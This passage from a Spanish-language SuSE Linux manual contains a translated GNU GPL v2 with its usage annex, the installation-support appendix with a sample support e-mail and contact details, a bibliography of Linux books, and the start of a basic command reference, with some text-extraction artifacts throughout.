su elección ofrecer garantía a cambio de unos honorarios. 2. Usted puede modificar su copia o copias del Programa o cualquier porción de él, formando de esta manera una obra basada en el Programa, y copiar y distribuir esa modificación u obra bajo los términos del apartado 1 anterior, siempre que además cumpla las siguientes condiciones: a) Debe procurar que los ficheros modificados incluyan notificaciones desta- cadas manifestando que los ha cambiado y la fecha de cualquier cambio. b) Usted debe procurar que cualquier obra que distribuya o publique, que en todo o en parte contenga o sea derivada del Programa o de cualquier parte de él, sea licenciada como un todo, sin cargo alguno para terceras partes bajo los términos de esta Licencia. c) Si el programa modificado lee normalmente órdenes interactivamente cuando al ejecutarse, debe hacer que cuando comience su ejecución para ese uso interactivo de la forma más habitual, muestre o escriba un men- saje que incluya un anuncio de copyright y un anuncio de que no se ofrece ninguna garantía (o por el contrario que sí se ofrece garantía) y que los usuarios pueden redistribuir el programa bajo estas condiciones, e indi- cando al usuario cómo ver una copia de esta licencia. (Excepción: si el propio programa es interactivo pero normalmente no muestra ese anun- cio, no está obligado a que su obra basada en el Programa muestre ningún anuncio). Estos requisitos se aplican a la obra modificada como un todo. Si algunas sec- ciones claramente identificables de esa obra no están derivadas del Programa, y pueden razonablemente ser consideradas como obras independientes y sep- arados por sí mismas, entonces esta Licencia y sus términos no se aplican a esas partes cuando sean distribuidas como trabajos separados. Pero cuando distribuya esas mismas secciones como partes de un todo que es una obra basada en el Programa, la distribución de ese todo debe cumplir los términos de esta Licencia, cuyos permisos para otros licenciatarios se extienden al todo completo, y por lo tanto a todas y cada una de sus partes, con independencia de quién la escribió. Por lo tanto, no es intención de este apartado reclamar derechos u oponerse a sus derechos sobre obras escritas enteramente por usted; sino que la inten- ción es ejercer el derecho de controlar la distribución de obras derivadas o colectivas basadas en el Programa. Además, el simple hecho de reunir otro trabajo no basado en el Programa con el Programa (o con un trabajo basado en el Programa) en un medio de almacenamiento o en un medio de distribución no hace que dicho trabajo entre dentro del ámbito cubierto por esta Licencia. 3. Usted puede copiar y distribuir el Programa (o una obra basada en él, según se especifica en la Sección 2) en forma de código objeto o ejecutable bajo los términos de las Secciones 1 y 2 anteriores mientras cumpla además una de las siguientes condiciones: * * 535 G. La licencia pública_general_GNU_(GPL)__________________________________________________________________________________________* *_______________________________________@ a) Acompañarlo con el código fuente completo correspondiente en formato legible para un ordenador, que debe ser distribuido bajo los términos de las Secciones 1 y 2 anteriores en un medio utilizado habitualmente para el intercambio de programas, o b) Acompañarlo con una oferta por escrito, válida durante al menos tres años, por un coste no mayor que el de realizar físicamente la distribución del fuente, de proporcionar a cualquier tercera parte una copia completa en formato legible para un ordenador del código fuente correspondiente, que será distribuido bajo las condiciones descritas en las Secciones 1 y 2 anteriores, en un medio utilizado habitualmente para el intercambio de programas, o c) Acompañarlo con la información que usted recibió referida al ofrecimien- to de distribuir el código fuente correspondiente. (Esta opción se permite sólo para la distribución no comercial y sólo si usted recibió el programa como código objeto o en formato ejecutable con una oferta de este tipo, de acuerdo con la Sección b anterior). Se entiende por código fuente de un trabajo a la forma preferida de la obra para hacer modificaciones sobre este. Para una obra ejecutable, se entiende por código fuente completo todo el código fuente para todos los módulos que contiene, más cualquier fichero asociado de definición de interfaces, más los guiones utilizados para controlar la compilación e instalación del ejecutable. Como excepción especial el código fuente distribuido no necesita incluir nada que sea distribuido normalmente (ya sea en formato fuente o binario) con los componentes fundamentales (compilador, kernel y similares) del sistema operativo en el cual funciona el ejecutable, a no ser que el propio componente acompañe al ejecutable. Si la distribución del ejecutable o del código objeto se realiza ofreciendo acce- so a una copia desde un lugar designado, entonces se considera el ofrecimien- to del acceso para copiar el código fuente del mismo lugar como distribución del código fuente, incluso aunque terceras partes no estén obligadas a copiar el fuente junto al código objeto. 4. No puede copiar, modificar, sublicenciar o distribuir el Programa excep- to como está expresamente permitido por esta Licencia. Cualquier intento de copiar, modificar sublicenciar o distribuir el Programa de otra forma es inváli- do, y hará que cesen automáticamente los derechos que le proporciona esta Licencia. En cualquier caso, las partes que hayan recibido copias o derechos bajo esta Licencia no verán sus Licencias calceladas, mientras esas partes continúen cumpliéndo totalmente la Licencia. 5. No está obligado a aceptar esta licencia, ya que no la ha firmado. Sin embargo, no hay hada más que le proporcione permiso para modificar o dis- tribuir el Programa o sus trabajos derivados. Estas acciones están prohibidas por la ley si no acepta esta Licencia. Por lo tanto, si modifica o distribuye el Programa (o cualquier trabajo basado en el Programa), está indicando que acepta esta Licencia para poder hacerlo, y todos sus términos y condiciones para copiar, distribuir o modificar el Programa o trabajos basados en él. 6. Cada vez que redistribuya el Programa (o cualquier trabajo basado en el Programa), el receptor recibe automáticamente una licencia del licenciatario 536 _________________________________________________________________G.__La_licencia_pública_general_GNU_(GPL)__________________* *______________________ original para copiar, distribuir o modificar el Programa, de forma sujeta a estos términos y condiciones. No puede imponer al receptor ninguna restric- ción más sobre el ejercicio de los derechos aquí garantizados. No es usted responsable de hacer cumplir esta licencia por terceras partes. 7. Si como consecuencia de una resolución judicial o de una alegación de infracción de patente o por cualquier otra razón (no limitada a asuntos rela- cionados con patentes) se le imponen condiciones (ya sea por mandato ju- dicial, por acuerdo o por cualquier otra causa) que contradigan las condi- ciones de esta Licencia, ello no le exime de cumplir las condiciones de esta Licencia. Si no puede realizar distribuciones de forma que se satisfagan si- multáneamente sus obligaciones bajo esta licencia y cualquier otra obligación pertinente entonces, como consecuencia, no puede distribuir el Programa de ninguna forma. Por ejemplo, si una patente no permite la redistribución libre de derechos de autor del Programa por parte de todos aquellos que reciban copias directa o indirectamente a través de usted, entonces la única forma en que podría satisfacer tanto esa condición como esta Licencia sería evitar completamente la distribución del Programa. Si cualquier porción de este apartado se considera no válido o imposible de cumplir bajo cualquier circunstancia particular ha de cumplirse el resto y la sección por entero ha de cumplirse en cualquier otra circunstancia. No es el propósito de este apartado inducirle a infringir ninguna patente ni ningún otro derecho de propiedad o impugnar la validez de ninguna de dichas reclamaciones. Este apartado tiene el único propósito de proteger la inte- gridad del sistema de distribución de software libre, que se realiza mediante prácticas de licencia pública. Mucha gente ha hecho contribuciones generosas a la gran variedad de software distribuido mediante ese sistema con la con- fianza de que el sistema se aplicará consistentemente. Será el autor/donante quien decida si quiere distribuir software mediante cualquier otro sistema y una licencia no puede imponer esa elección. Este apartado pretende dejar completamente claro lo que se cree que es una consecuencia del resto de esta Licencia. 8. Si la distribución y/o uso de el Programa está restringido en ciertos países, bien por patentes o por interfaces bajo copyright, el poseedor del copyright que coloca este Programa bajo esta Licencia puede añadir una limitación explícita de distribución geográfica excluyendo esos países, de forma que la distribución se permita sólo en o entre los países no excluidos de esta manera. En ese caso, esta Licencia incorporará la limitación como si estuviese escrita en el cuerpo de esta Licencia. 9. La Free Software Foundation puede publicar versiones revisadas y/o nuevas de la Licencia Pública General de tiempo en tiempo. Dichas ver- siones nuevas serán similares en espíritu a la presente versión, pero pueden ser diferentes en detalles para considerar nuevos problemas o situaciones. Cada versión recibe un número de versión que la distingue de otras. Si el Programa especifica un número de versión de esta Licencia que se aplica a ella y a üc alquier versión posterior", tiene la opción de seguir los términos y condiciones, bien de esa versión, bien de cualquier versión posterior publica- da por la Free Software Foundation. Si el Programa no especifica un número * * 537 G. La licencia pública_general_GNU_(GPL)__________________________________________________________________________________________* *_______________________________________@ de versión de esta Licencia, puede escoger cualquier versión publicada por la Free Software Foundation. 10. Si usted desea incorporar partes del Programa en otros programas libres cuyas condiciones de distribución son diferentes, escriba al autor para pedirle permiso. Si el software tiene copyright de la Free Software Foundation, es- criba a la Free Software Foundation: algunas veces hacemos excepciones en estos casos. Nuestra decisión estará guiada por el doble objetivo de preservar la libertad de todos los derivados de nuestro software libre y promover el que se comparta y reutilice el software en general. AUSENCIA DE GARANTÍA YA QUE EL PROGRAMA SE LICENCIA LIBRE DE CARGAS, NO SE OFRECE NINGUNA GARANTÍA SOBRE EL PROGRAMA, HASTA LO PERMITIDO POR LAS LEYES APLICABLES. EXCEPTO CUANDO SE INDIQUE LO CONTRARIO POR ESCRITO, LOS POSEEDORES DEL COPYRIGHT Y/U OTRAS PARTES PROVEEN EL PROGRAMA ÄTL Y COMO ESTÁ", SIN GARANTÍA DE NINGUNA CLASE, YA SEA EX- PRESA O IMPLÍCITA, INCLUYENDO, PERO NO LIMITÁNDOSE A, LAS GARANTÍAS IMPLÍCITAS DE COMERCIABILIDAD Y APTITUD PARA UN PROPÓSITO PARTICULAR. TODO EL RIESGO EN CUANTO A LA CALIDAD Y FUNCIONAMIENTO DEL PROGRAMA LO ASUME USTED. SI EL PROGRAMA SE COMPROBARA QUE ESTÁ DEFECTU- OSO, USTED ASUME EL COSTO DE TODO SERVICIO, REPARACIÓN O CORRECCIÓN QUE SEA NECESARIO. EN NINGÚN CASO, A NO SER QUE SE REQUIERA POR LAS LEYES APLICABLES O SE ACUERDE POR ESCRITO, PODRÁ NINGÚN POSEEDOR DE COPYRIGHT O CUALQUIER OTRA PARTE QUE HAYA MODIFICADO Y/O REDISTRIBUIDO EL PROGRAMA, SER RESPON- SABLE ANTE USTED POR DAÑOS O PERJUICIOS, INCLUYENDO CUALQUIER DAÑO GENERAL, ESPECIAL, INCIDENTAL O CONSE- CUENTE DEBIDO AL USO O LA IMPOSIBILIDAD DE PODER USAR EL PROGRAMA (INCLUYENDO PERO NO LIMITÁNDOSE A LA PÉR- DIDA DE DATOS O LA PRODUCCIÓN DE DATOS INCORRECTOS O PÉRDIDAS SUFRIDAS POR USTED O POR TERCERAS PARTES O LA IMPOSIBILIDAD DEL PROGRAMA DE OPERAR JUNTO A OTROS PROGRAMAS), INCLUSO SI EL POSEEDOR DEL COPYRIGHT U OTRA PARTE HA SIDO AVISADO DE LA POSIBILIDAD DE TALES DAÑOS. FIN DE TÉRMINOS Y CONDICIONES Anexo: Cómo aplicar estos términos a sus nuevos programas. Si usted desarrolla un nuevo Programa, y quiere que sea del mayor uso posible para el público en general, la mejor forma de conseguirlo es convirtiéndolo en software libre que cualquiera pueda redistribuir y cambiar bajo estos tér- minos. Para hacerlo, añada los siguientes avisos al programa. Lo más seguro es añadirlos al principio de cada fichero fuente para comunicar lo más efectiva- 538 _________________________________________________________________G.__La_licencia_pública_general_GNU_(GPL)__________________* *______________________ mente posible la ausencia de garantía. Además cada fichero debería tener al menos la línea de öc pyright"y una indicación del lugar donde se encuentra la notificación completa. ffiuna línea para indicar el nombre del programa y una rápida idea de lo que hace fflCopyright (C) 19yy ffinombre del autor ffl Este programa es software libre; usted puede redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General GNU tal y como está pub- licada por la Free Software Foundation; ya sea la versión 2 de la Licencia o (a su elección) cualquier versión posterior. Este programa se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; ni siquiera la garantía implícita de COMERCIABIL- IDAD o APTITUD PARA UN PROPÓSITO ESPECÍFICO. Vea la Licencia Pública General GNU para más detalles. Usted debería haber recibido una copia de la Licencia Pública General junto con este programa. Si no ha sido así, escriba a la Free Software Foundation, Inc., en 675 Mass Ave, Cambridge, MA 02139, EEUU. Añada también información sobre cómo contactar con usted mediante correo electrónico y postal. Si el programa es interactivo, haga que muestre un pequeño anuncio como el siguiente, cuando comience a funcionar en modo interactivo: Gnomovision versión 69, Copyright (C) 19yy nombre del autor Gnomovision no ofrece ABSOLUTAMENTE NINGUNA GARANTÍA; para más detalles es- criba `show w'. Esto es software libre, y se le invita a redistribuirlo bajo ciertas condiciones. Escriba `show c' para más detalles. Los comandos hipotéticos `show w' y `show c' deberían mostrar las partes adecuadas de la Licencia Pública General. Por supuesto, los comandos que use pueden llamarse de cualquier otra manera. Podrían incluso ser pulsa- ciones del ratón o elementos de un menú~lo que sea apropiado para su pro- grama). También debería conseguir que el empresario (si trabaja como programador) o su centro académico, si es el caso, firme una "renuncia de copyrightäp ra el programa, si es necesario. A continuación se ofrece un ejemplo, cambie los nombres: Yoyodyne, Inc. con la presente renuncia a cualquier interés de derechos de copyright con respecto al programa `Gnomovision' (que hace pasadas a compiladores) escrito por Pepe Programador. ffifirma de Pepito Grillo ffl, 20 de diciembre de 1996 Pepito Grillo, Presidente de Asuntillos Varios. Esta Licencia Pública General no permite incorporar su programa a progra- mas propietarios. Si su programa es una librería de subrutinas, puede con- siderar más útil el permitir el enlazado de aplicaciones propietarias con la librería. Si este es el caso, use la Licencia Pública General GNU para Libr- erías en lugar de esta Licencia. * * 539 G. La licencia pública_general_GNU_(GPL)__________________________________________________________________________________________* *_______________________________________@ 540 Apéndice H Soporte y servicios A lo largo de los últimos años hemos notado que la aparición de problemas durante la instalación va disminuyendo con el desarrollo de Linux, pero que los problemas no desaparecen por completo. Muchas de las experiencias hechas a base de los problemas reales de los usuarios se han introducido en este libro, para evitarle a Ud. distinguido lector, un fin de semana de desesperación, sin el soporte por teléfono que existe durante la semana y para ayudarle a continuar con la instalación de su sistema. Cuando tenga problemas, antes de ponerse en contacto con nuestro equipo de soporte, por favor cerciórese de que la solución no aparece aún en este libro o en nuestro ''banco de datos de soporte''1 ; además, sería conveniente consultar los distintos ficheros README del primer CD. H.1 60 días de soporte de instalación H.1.1 ¡Sin registro, ningún soporte! Para ofrecerle un soporte de instalación óptimo, solo podemos contestar a preguntas hechas por usuarios de SuSE Linux registrados. En la primera página de este manual puede encontrar una tarjeta de registro Código de que incluye su código de registro. Este código es único y verifica la autenti- registro cidad del paquete. _______________________________________________________________________________________________________________________|| |||||||| Como el código de registro y el derecho a soporte están vinculados al ||| | |||||||| || | |||||||| producto, le rogamos registrar cada edición de SuSE Linux, aunque se || | |||||||| se trate de una actualización o si ha adquirido el producto directamente de || | |||||||| || | |||||||| nuestra casa. ¡No será registrado automáticamente al comprar el paquete! || | ||||||||_______________________________________________________________________________________________________________||_ H.1.2 Cobertura del soporte de instalación La pretensión del soporte de instalación es hacer funcionar su computadora con SuSE Linux. Esto implica: o la instalación de SuSE Linux desde el CD o la configuración básica de una estación de trabajo o los_ajustes_básicos_de_la_superficie_gráfica_del_tipo_X11 1 El apartado H.3 en la página 544Servicios adicionalessection.H.3 explica cómo acceder a ello vía Internet o instalando un paquete de software. * * 541 H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________* *_______________________________________@ o la configuración básica de un modem analógico para el acceso a Internet (solo en el lado del cliente) o la configuración básica de una tarjeta RDSI para el acceso a Internet (solo en el lado del cliente) o la configuración de una impresora local para una estación de trabajo. o la configuración básica de una tarjeta de sonido soportada. El soporte de instalación no tramitará los temas que no hayan sido men- cionados arriba. Cualquier pregunta sobre ello no se responderá. Nuestro soporte de instalación se entiende como una ayuda para la instalación básica del sistema y no como enseñanza sobre Linux. Esto significa que el soporte solo cubre problemas de configuración y no problemas de compren- sión. Pese a todos los esfuerzos que hacemos, a veces ocurre que SuSE Linux no funciona con una determinada configuración de hardware o que no funciona al cien por cien. Esperamos que entienda que no le podemos dar una garantía total de funcionamiento. Aparte del verdadero núcleo de Linux, ofrecemos también varios centenares de paquetes de software (actualmente alrededor de 1300) incluidos en nuestro paquete SuSE Linux. Tratamos de mantener estos paquetes actualizados, no obstante, no siempre podemos conocer en detalle la configuración de todos y tampoco programar suplementos para ellos. Por eso, lo mejor es tratar de consultar la documentación disponible como las manpages, los ficheros README, ayuda en línea, etc. H.2 ¡La vía más rápida! A continuación le ofrecemos algunas instrucciones que le permitirán recibir cuanto antes una respuesta de nuestro equipo de soporte. El sistema au- tomático que gestiona este soporte solamente puede procesar los E-Mails que cumplen el estándar expuesto. Los demás mensajes tienen que ser ordenados a mano para poder pasarlos a las personas responsables de la sección. o Por favor registre su SuSE Linux online en nuestra página web en la dirección http://www.suse.de/form-registration.html, también si lo ha adquirido directamente en SuSE . o Escriba un E-Mail directamente a la dirección isupport@suse.de tal como está indicado en el fichero H.2.1 en la página siguiente; tenga cuidado con las mayúsculas y minúsculas cuando esté escribiendo sus datos de cliente, de lo contrario su E-Mail no podrá ser tratado automáticamente. Deje vacíos los recuadros que no necesita (p. ej. FIRMA). o No use attachments (p. ej. tarjetas de visita en formato X-VCARD), mejor incorpore los ficheros de configuración en formato ASCII directamente en el mensaje (ver Fichero H.2.2). Duración del soporte de instalación El soporte de instalación para un SuSE Linux-CD es de 60 días a partir de la fecha de registro pero no más de 60 días después de la salida al mercado de la siguiente versión. 542 _____________________________________________________________________________________________H.2.__¡La_vía_más_rápida!______* *______________________ |||||||| | |||||||| | |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| NOMBRE: Quintus | |||||||| | |||||||| APELLIDO: Dr. Sabelotodo | |||||||| EMPRESA: Listonería (Laboratorio) | |||||||| | |||||||| Dirección: Plaza Sésamo 4711 | |||||||| C.P.: 00815 | |||||||| | |||||||| CIUDAD: Timbuktu | |||||||| PAIS: España | |||||||| REGCODE: XXXXXX | |||||||| | |||||||| EMAIL: sabelotodo@quinto-pino.es | |||||||| | |||||||| | |||||||| Distinguido equipo de soporte SuSE: | |||||||| | |||||||| | |||||||| Aquí en mi laboratorio tengo un pequeño problema. | |||||||| | |||||||| | |||||||| Después de haber instalado SuSE Linux 6.4 recibo el | |||||||| siguiente mensaje de error cuando el kernel arranca: | |||||||| | |||||||| | |||||||| "Unable to open an initial console" | |||||||| | |||||||| | |||||||| Tengo un Pentium 400 con 128 MB RAM y disco duro de 8 GB IDE. | |||||||| ¿Qué hago mal? | |||||||| | |||||||| | |||||||| Saludos cordiales | |||||||| | |||||||| (también por parte de mi asistente Pérez) | |||||||| | |||||||| | |||||||| Dr. Quintus Sabelotodo | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero H.2.1: Ejemplo de pregunta vía E-Mail _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| ...tengo un problema con Lilo. A continuación viene la parte | |||||||| | |||||||| importante de mi fichero /etc/lilo.conf | |||||||| | |||||||| | |||||||| ---corte--- | |||||||| # Linux bootable partition config begins | |||||||| | |||||||| image = /boot/vmlinuz | |||||||| root = /dev/sda2 | |||||||| label = linux-2.0.36 | |||||||| | |||||||| # Linux bootable partition config ends | |||||||| ---corte--- | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero H.2.2: Parte de una pregunta por E-Mail con fichero de configuración * * 543 H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________* *_______________________________________@ H.2.1 ¿Cómo contactar el equipo de soporte de SuSE ? Puede contactar nuestro equipo de soporte vía E-Mail, Fax, carta o teléfono. Cuando formule una pregunta, asegúrese de que el medio de comunicación deseado realmente funciona. Con frecuencia tenemos problemas de respon- der a las preguntas, porque p. ej. el fax del cliente no está continuamente encendido (modem~fax de una computadora) o por una dirección de E-Mail, que es incorrecta o no responde. ________________________________________________________________________________________________________* *________||| | Cuando envíe un E-Mail tenga en cuenta de no incluir ningún attachment. * * |||| | Si quiere enviar p. ej. ficheros de registro, inclúyalos directamente dentro * * ||| | * * ||| | del texto. Especialmente evite mandar ficheros en un formato propietario * * ||| | * * ||| | (p. ej. de un paquete ofimático)~ normalmente no tenemos los filtros ade- * * ||| | cuados para leerlos. Tampoco hace falta que nos envíe textos en formato * * ||| | * * ||| | HTML; se trata de una característica de su navegador que se puede suprim- * * ||| | ir. * * ||| |_______________________________________________________________________________________________________* *________|||_ Según el medio de comunicación usado, nuestro equipo de soporte está a su disposición durante el horario indicado a continuación: o por E-Mail Dirección: isupport@suse.de Atención: Durante toda la semana. o por WWW (E-Mail) Dirección: http://www.suse.de/supp-form.html Atención: Durante toda la semana. o por Fax Número de Fax: +49-9 11 74 05 34 77 Atención: Durante toda la semana. o por carta Dirección: SuSE GmbH ~ Support ~ Schanzäckerstr. 10 D-90443 Nürnberg Atención: Durante toda la semana. H.3 Servicios adicionales También queremos indicar una serie de servicios adicionales que están a dis- posición las 24 horas del día. Estos son: o SuSE WWW-Server http://www.suse.de Información actualizada, catálogos, servicio de encargo, formulario de soporte, banco de datos de soporte. o Listas de correo de SuSE (Información y foros de discusión vía E-Mail): ~ suse-announce@suse.com ~ Anuncios e informaciones de SuSE GmbH (alemán) 544 ___________________________________________________________________________________________H.3.__Servicios_adicionales________* *____________________ ~ suse-announce-e@suse.com ~ Anuncios e informaciones de SuSE GmbH (inglés) ~ suse-linux@suse.com ~ Discusiones entorno a la distribución SuSE Linux (alemán) ~ suse-axp@suse.com ~ SuSE Linux en máquinas Alpha (inglés) ~ suse-linux-e@suse.com ~ Discusiones entorno a la distribución SuSE Linux (inglés) ~ suse-isdn@suse.com ~ RDSI (ingl. ISDN) con SuSE Linux ~ suse-adabas@suse.com ~ Informaciones y discusiones sobre Adabas- D bajo SuSE Linux ~ suse-applix@suse.com ~ Intercambio de experiencias con el paquete Applixware de SuSE GmbH ~ suse-informix@suse.com ~ Informaciones y discusiones sobre In- formix bajo SuSE Linux ~ suse-oracle@suse.com ~ Información y discusión sobre Oracle bajo SuSE Linux (inglés) Para suscribirse a una de las listas de correo, envíe sencillamente un E- Mail a majordomo@suse.com con el comando subscribe como con- tenido del mensaje; el asunto no importa. Por ejemplo con subscribe suse-announce pasará a recibir regularmente anuncios. Igual de sencillo es darse de baja en una lista de correo. envíe otra vez un E-Mail a majordomo@suse.com: unsubscribe suse-announce Asegúrese de enviar el mensaje con su dirección de E-Mail correcta para que el comando unsubscribe también se ejecute correctamente. o servidor ftp de SuSE ftp://ftp.suse.com Información actualizada, actualizaciones (updates) y correcciones de er- rores (Bugfixes). Debe entrar al sistema como usuario `ftp'. * * 545 H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________* *_______________________________________@ 546 Bibliografía [Alm96] Almesberger, Werner: LILO User's guide, 1996. ~ (siehe Datei /usr/doc/ lilo/user.dvi) [Bai97] Bailey, Edward C.: Maximum RPM. Red Hat, 1997. ~ (ISBN 1-888172-78-9) [BBD+ 97] Beck, Michael ; Böhme, Harald ; Dziadzka, Mirko ; Kunitz, Ulrich ; Mag- nus, Robert ; Verworner, Dirk: Linux-Kernel-Programmierung. 4. Addison Wesley GmbH, 1997. ~ (ISBN 3-8273-1144-6) [BD98] Borkner-Delcarlo, Olaf: Linux im kommerziellen Einsatz. Carl Hanser Verlag, 1998. ~ (ISBN 3-446-19465-7) [BD99] Borkner-Delcarlo, Olaf: Das Samba-Buch. SuSE Press, 1999. ~ (ISBN 3- 930419-93-9) [CAR93] Costales, Bryan ; Allman, Eric ; Rickert, Neil: sendmail. O'Reilly & Asso- ciates, Inc., 1993. ~ (ISBN 1-56592-056-2) [CB96] Cheswick, William R. ; Bellovin, Steven M.: Firewalls und Sicherheit im In- ternet. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-875-x) [CR91] Cameron, Debra ; Rosenblatt, Bill: Learning GNU Emacs. O'Reilly & Asso- ciates, Inc., 1991. ~ (ISBN 0 937175-84-6) [CZ96] Chapman ; Zwicky: Einrichten von Internet Firewalls. Sicherheit im Internet gewährleisten.. O'Reilly & Associates, Inc., 1996. ~ (ISBN 3-930673312) [DR98] Dawson, Terry ; Rubini, Alessandro: NET-3 HOWTO, v1.4, August 1998. ~ (siehe Datei /usr/doc/howto/en/NET-3-HOWTO.gz) [DR99] Dawson, Terry ; Rubini, Alessandro: NET3-4 HOWTO, v1.5, August 1999. ~ (siehe Datei /usr/doc/howto/en/NET3-4-HOWTO.gz) [EH98] Eckel, George ; Hare, Chris: Linux ~ Internet Server. Carl Hanser Verlag, 1998. ~ (ISBN 3-446-19044-9) [FCR93] Fang, Chin ; Crosson, Bob ; Raymond, Eric S.: The Hitchhiker's Guide to X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit), 1993. ~ (siehe Datei /usr/X11/lib/X11/doc/VideoModes.doc) [Fri93] Frisch, Æleen: Essential System Administration. O'Reilly & Associates, Inc., 1993. ~ (ISBN 0-937175-80-3) [Gil92] Gilly, Daniel: UNIX in a nutshell: System V Edition. O'Reilly & Associates, Inc., 1992. ~ (ISBN 1-56592-001-5) [GMR97] Goossens, Michel ; Mittelbach, Frank ; Rahtz, Sebastian: TheALTEX Graphics Companion. Addison Wesley Longman, 1997. ~ (ISBN 0-201-85469-4) [GMS94] Goossens, Michel ; Mittelbach, Frank ; Samarin, Alexander: The ALTEX Companion. Addison Wesley GmbH, 1994. ~ (ISBN 0-201-54199-8) * * 547 Bibliografía _________________________________________________________________________________________________________________* *_______________________________________@ [GMS96] Goossens, Michel ; Mittelbach, Frank ; Samarin, Alexander: Der ALTEX- Begleiter. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-646-3) [Gri94] Grieger, W.: Wer hat Angst vorm Emacs?. Addison Wesley GmbH, 1994. ~ (ISBN 3-89319-620-X) [GS93] Garfinkel, Simson ; Spafford, Gene: Practical UNIX Security. O'Reilly & Associates, Inc., 1993. ~ (ISBN 0-937175-72-2) [Hei96] Hein, Jochen: Linux-Companion zur Systemadministration. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-869-5) [Her92] Herold, H.: UNIX Grundlagen. Addison Wesley GmbH, 1992. ~ (ISBN 3-89319- 542-8) [HHMK96] Hetze, Sebastian ; Hohndel, Dirk ; Müller, Martin ; Kirch, Olaf: Linux Anwenderhandbuch. 6. LunetIX Softfair, 1996. ~ (ISBN 3-929764-05-9) [Hof97] Hoffmann, Erwin: EMail-Gateway mit qmail. In: iX 12 (1997), S. 108ff [HR98] Hölzer, Matthias ; Röhrig, Bernhard: KDE ~ Das K Desktop Environment. 1. Computer & Literatur, 1998. ~ (ISBN 3-932311-50-7) [HST97] Holz, Helmut ; Schmitt, Bernd ; Tikart, Andreas: Linux für Internet & In- tranet. International Thomson Publishing, 1997. ~ (ISBN 3-8266-0342-7) [Hun95] Hunt, Craig: TCP/IP Netzwerk Administration. O'Reilly & Associates, Inc., 1995. ~ (ISBN 3-930673-02-9) [JT98] Johnson, Michael K. ; Troan, Erik W.: Anwendungen entwickeln unter Linux. Addison Wesley GmbH, 1998. ~ (ISBN 3-8273-1449-6) [Kie95] Kienle, Micheal: TIS: Toolkit für anwendungsorientierte Firewall-Systeme. In: iX 8 (1995), S. 140ff [Kir95] Kirch, Olaf: LINUX Network Administrator's Guide. O'Reilly & Associates, Inc., 1995. ~ (ISBN 1-56592-087-2) [Kof97] Kofler, Michael: Linux ~ Installation, Konfiguration, Anwendung. 3. Addison Wesley GmbH, 1997. ~ (ISBN 3-8273-1304-X) [Kop94] Kopka, Helmut: ALTEX-Einführung. Addison Wesley GmbH, 1994. ~ (ISBN 3- 89319-664-1) [Kopff] Kopka, Helmut: ALTEX. Addison Wesley GmbH, 1996 ff.. ~ 3 Bde. (ISBN 3-8273- 1025-3; 3-8273-1229-9; 3-89319-666-8) [Kun95] Kunitz, Ulrich: Sicherheit fast kostenlos: Einrichtung eines kostenlosen Firewall- Systems. In: iX 9 (1995), S. 176ff [Lam90] Lamb, Linda: Learning the vi Editor. O'Reilly & Associates, Inc., 1990. ~ (ISBN 0-937175-67-6) [Lef96] Leffler, Sam: HylaFAX Home Page, 1996 [Moh98] Mohr, James: UNIX-Windows-Integration. International Thomson Publishing, 1998. ~ (ISBN 3-8266-4032-2) [OT92] O'Reilly, Tim ; Todino, Grace: Managing UUCP and Usenet. O'Reilly & Associates, Inc., 1992. ~ (ISBN 0-937175-93-5) [Per94] Perlman, G.: Unix For Software Developers. Prentice-Hall, 1994. ~ (ISBN 13- 932997-8) [POL97] Peek, Jerry ; O'Reilly, Tim ; Loukides, Mike: Unix Power Tools. 2. Sebastopol : O'Reilly & Associates, Inc., 1997 [Pug94] Pugh, K.: UNIX For The MS-DOS User. Prentice-Hall, 1994. ~ (ISBN 13-146077- 3) 548 _________________________________________________________________________________________________________________Bibliografí* *a_____________________ [Rub98] Rubini, Alessandro: Linux-Gerätetreiber. O'Reilly & Associates, Inc., 1998. ~ (ISBN 3-89721-122-X) [SB92] Schoonover, M. ; Bowie, J.: GNU Emacs. Addison Wesley GmbH, 1992. ~ (ISBN 0-201-56345-2) [Sch98] Scheiderer, Jürgen: Sicherheit Kostenlos - Firewall mit Linux. In: iX 12 (1998) [Sto98] Stoll, Clifford: Kuckucksei; Die Jagd auf die deutschen Hacker, die das Pentagon knackten. Fischer-TB.-Vlg., 1998. ~ (ISBN 3596139848) [The96] The XFree86TM -Team: XF86Config(4/5) - Configuration File for Xfree86TM , 1996. ~ Manual-Page zu XFree86TM [tif] [TSP93] Todino, Grace ; Strang, John ; Peek, Jerry: Learning the UNIX operating system. O'Reilly & Associates, Inc., 1993. ~ (ISBN 1-56592-060-0) [Wel94] Welsh, Matt: Linux Installation and Getting Started. 2. SuSE GmbH, 1994. ~ (ISBN 3-930419-03-3) [WK95] Welsh, Matt ; Kaufman, Lars: Running Linux. O'Reilly & Associates, Inc., 1995. ~ (ISBN 1-56592-100-3) [WK98] Welsh, Matt ; Kaufman, Lars: Linux ~ Wegweiser zur Installation & Konfigura- tion. 2. O'Reilly & Associates, Inc., 1998. ~ (ISBN 3-930673-58-4) [WWH98] Witherspoon, Craig ; Witherspoon, Coletta ; Hall, Jon: Linux für Dummies. 1. International Thomson Publishing, 1998. ~ (ISBN 3-8266-2725-3) * * 549 Referencia: Comandos y ficheros importantes Los espacios (ingl. blanks) de los comandos son ''separadores'' y son impor- tantes para que se acepten los comandos; hay que introducirlos con la tecla espaciadora. Ver también la leyenda en el apartado 1.3 en la página 6La leyenda ~ o lo que significa ''tierra: # ls''section.1.3. Información y documentación less visualizar fichero de texto cd cambiar a un directorio (falso: cd Directorio ~ ''costumbre de DOS'') ls -l ver contenido directorio o propiedad fichero rpm -qi información sobre un paquete man Manpage sobre un comando /usr/doc/howto HOWTOs que contestan muchas preguntas /usr/doc/packages/* documentación acerca de los paquetes /usr/doc/packages/i4l/README.Quick documentación actual sobre RDSI Ficheros de configuración generales y registros ~ sinónimo para el directorio Home /etc directorio de ficheros de configuración /etc/modules.conf carga automática de 